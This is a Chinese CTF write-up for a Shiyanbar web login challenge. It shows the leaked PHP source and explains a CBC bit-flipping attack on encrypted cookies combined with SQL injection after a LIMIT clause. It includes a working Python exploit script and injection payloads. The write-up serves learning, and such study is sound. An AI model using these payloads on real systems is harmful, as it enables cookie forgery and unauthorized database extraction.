实验吧web-简单的登录题

该wp学习自Pcat大佬在实验吧的wp

题目地址:http://ctf5.shiyanbar.com/web/jiandan/index.php

随便提交一个id,看到后台set了两个cookie

iv和cipher这两个数据每次刷新都会发生变化,应该是每次刷新的时候,后台重新随机生成了一个iv,并用来加密某个数据,可能是我们提交的id,然后将密文cipher存入cookie中。

iv和cipher在翻译过来就是Initialization Vector(初始化向量)和密文,这两个东西好像也经常在CBC翻转的题目里出现。在看到这两个数据的时候,我觉得这道题应该是一道CBC翻转的题目吧。

然后呢?如果是CBC翻转这种接近于密码的题目,没有源码不知道后台做了什么处理的话,那就有点无从下手的感觉了。这个时候,就是扫描器登场的时候了,我们可以用御剑简单地扫描一下。

后面两条结果忽略掉,conn明显是数据库连接的php,index.php则是我们访问的php,那么test.php里面会有什么呢?我们访问一下

如愿以偿地得到了index.php的源码,变得好看一点,大致源码如下



define("SECRET_KEY", '***********');

define("METHOD", "aes-128-cbc");

error_reporting(0);

include('conn.php');

function sqliCheck($str){

    if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){

        return 1;

    } return 0;

}

function get_random_iv(){

    $random_iv='';

    for($i=0;$i<16;$i++){

        $random_iv.=chr(rand(1,255));

}

    return $random_iv;

}

function login($info){

    $iv = get_random_iv();

    $plain = serialize($info);

    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);

    setcookie("iv", base64_encode($iv));

    setcookie("cipher", base64_encode($cipher));

} function show_homepage(){

    global $link;

    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){

        $cipher = base64_decode($_COOKIE['cipher']);

        $iv = base64_decode($_COOKIE["iv"]);

        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){

            $info = unserialize($plain) or die("base64_decode('".base64_encode($plain)."') can't unserialize");

            $sql="select * from users limit ".$info['id'].",0";

            $result=mysqli_query($link,$sql);

            if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){

                $rows=mysqli_fetch_array($result);

                echo 'Hello!'.$rows['username'].'';

            } else{

                echo 'Hello!';

}

        }else{

            die("ERROR!");

}

}

}

if(isset($_POST['id'])){

    $id = (string)$_POST['id'];

    if(sqliCheck($id)) die("sql inject detected!");

    $info = array('id'=>$id);

    login($info);

    echo 'Hello!';

}else{

    if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){

show_homepage();

    }else{ echo 'Login Forminput id to loginidLogin';

}

}


分析一下,有这么几点:

1.传递的id中有一些会被吃掉的关键词

2.id的值会被存入一个数组中序列化,然后加密该序列化字符串,并将该cipher base64编码后与base64编码的iv存入cookie

3.如果不传递id,就会从cookie中取出iv和cipher进行解码解密,然后拼接SQL语句进行查询,而这个SQL语句比较奇特,我们传递的数据被拼接在了limit的后面,而在SQL语句中,limit的后面只剩下procedure、into和for update了,而procedure也被吃掉了,看来不是一般的SQL注入了

4.在执行SQL语句前并不会再次吃掉敏感关键词

结合之前的猜测,那么这道题就很明显了,考点是CBC字节翻转攻击+SQL注入攻击

CBC字节翻转攻击:http://www.vuln.cn/6109

具体的思路就是:

1.提交id的时候替换被吃掉的关键词,比如union的其中一个字母

2.从cookie中获取到iv和cipher之后,进行CBC翻转攻击,使得修改之后,后台解密会将密文变成我们所希望得到的样子

3.SQL注入的时候,用;%00代替#这些单行注释符,用join代替,来确定回显位置,将数据select到回显位置上

CBC翻转的时候,尽量少翻转字符,因为越多的翻转可能会导致你需要对cipher或者iv做更多的处理,所以我们只使用union这个被吃掉的关键词就好了,其他的关键词可以绕过

先写一个php脚本,为了方便直观地看到所要翻转的地方的偏移量是多少,借Pcat大佬的例子

此时的偏移量(offset)为4,也就是说,如果我们要将 第2块第5个字符2 翻转为我们所需要的字符#,由于CBC模式的解密方式是:

该块的明文 = decrypt(该块的密文) ^(异或) 前一块密文

如果是第一块:第一块的明文 = decrypt(第一块的密文) ^ iv

CBC解密分为两段:decrypt和^

所以,我们需要对 第1块第5个字符 做一些修改

由于:

第2块密文第5个字符的明文(C) = 第1块密文第5个字符(A) ^ decrypt(第2块密文第5个字符的密文)(B)

而^有运算为:C = A ^ B,A = C ^ B,0 ^ A = A,而我们已知CBC解密后C(这里为2)和密文中A的值cipher_row[offset(偏移量)]

故:

B = A ^ C

而后台CBC解密所得则为:A ^ B

所以我们控制修改A2 = A ^ C ^ D(我们想要的,这里为#)

即脚本里的cipher_row[offset] =chr(ord(cipher_row[offset]) ^ord("2") ^ord("#"))

这样运算下来,则后台CBC解密得到:A2 ^ B = A ^ C ^ D ^ A ^C ,即D,CBC翻转成功

但是还没有结束,因为我们在翻转第二块的时候,修改了第一块的密文,所以如果用同一个iv去解密第一块密文,是无法反序列化的,因此我们需要对iv进行一些修改。

(如果我们为了翻转第三块,而修改了第二块,那我们又需要为了让第二块解密后反序列化成功修改第一块,最后又要修改iv,处理量一下子就多了起来)

修改iv的时候,我们已知:原iv,用原iv解密后的错误明文,第一块密文,以及正确明文(即a:1:{s:2:\"id\";s:)

而:

错误明文 = 原iv ^ 第一块密文 => 第一块密文 = 错误明文 ^ 原iv

正确明文 = 新iv ^ 第一块密文 => 新iv = 正确明文 ^ 第一块密文

故:

新iv = 原iv ^ 错误明文 ^ 正确明文

即脚本里的iv_new = iv_new +chr(ord(iv_row[x]) ^ord(wrong[x]) ^ord(plaintext[x])),循环16次

原理讲完了,接下来就是脚本了脚本如下


# -*- coding:utf8 -*-

import base64

import requests

import re

import urllib

url ="http://ctf5.shiyanbar.com/web/jiandan/index.php"

payload ="0 2nion select * from ((select 1)a join (select database())b join (select 3)c);"+chr(0)

data = {

'id':payload

}

cookie = requests.post(url,data = data).headers['Set-Cookie']

iv = re.findall(r'iv=(.+),',cookie)[0]

cipher = base64.b64decode(urllib.unquote(re.findall(r'cipher=(.+)',cookie)[0]))

iv_row =list(base64.b64decode(urllib.unquote(iv)))

cipher_row =list(cipher)

offset =6

cipher_row[offset] =chr(ord(cipher_row[offset]) ^ord("2") ^ord("u"))

cipher_new = urllib.quote(base64.b64encode("".join(cipher_row)))

cookies = {

"iv" : iv,

"cipher" : cipher_new

}

mistake = requests.get(url,cookies = cookies).content

wrong = base64.b64decode(re.findall(r'\(\'(.+)\'\)',mistake)[0])

iv_new =''

plaintext ="a:1:{s:2:\"id\";s:"

for xin range(16):

iv_new = iv_new +chr(ord(iv_row[x]) ^ord(wrong[x]) ^ord(plaintext[x]))

iv_new = urllib.quote(base64.b64encode(iv_new))

cookies2 = {

"iv" : iv_new,

"cipher" : cipher_new

}

result = requests.get(url,cookies = cookies2).content

print result


运行得到数据库名

修改payload和offset的值,最后getflag

最后提一句的是:select * from ??? limit 1 union select ???这种写法在mysql5.7里面已经不能用了,会报错incorrect usage of union and limit,要使用(select * from ??? limit 1) union (select ???)这种写法,官方在5.7文档是这么说的

PS:

发现最近这题好像出了点问题,在select列的时候会报Got error 28 from storage engine的错误,就获取不到列名了

不过列名可以通过报错的方式爆出来,payload

"0 2nion select * from (select * from you_want as a join you_want) as c;"+chr(0)

结果:


the end

作者水平有限 如有错误请指出 Orz

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,015评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,262评论 1 292
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,727评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,986评论 0 205
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,363评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,610评论 1 219
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,871评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,582评论 0 198
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,297评论 1 242
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,551评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,053评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,385评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,035评论 3 236
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,079评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,841评论 0 195
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,648评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,550评论 2 270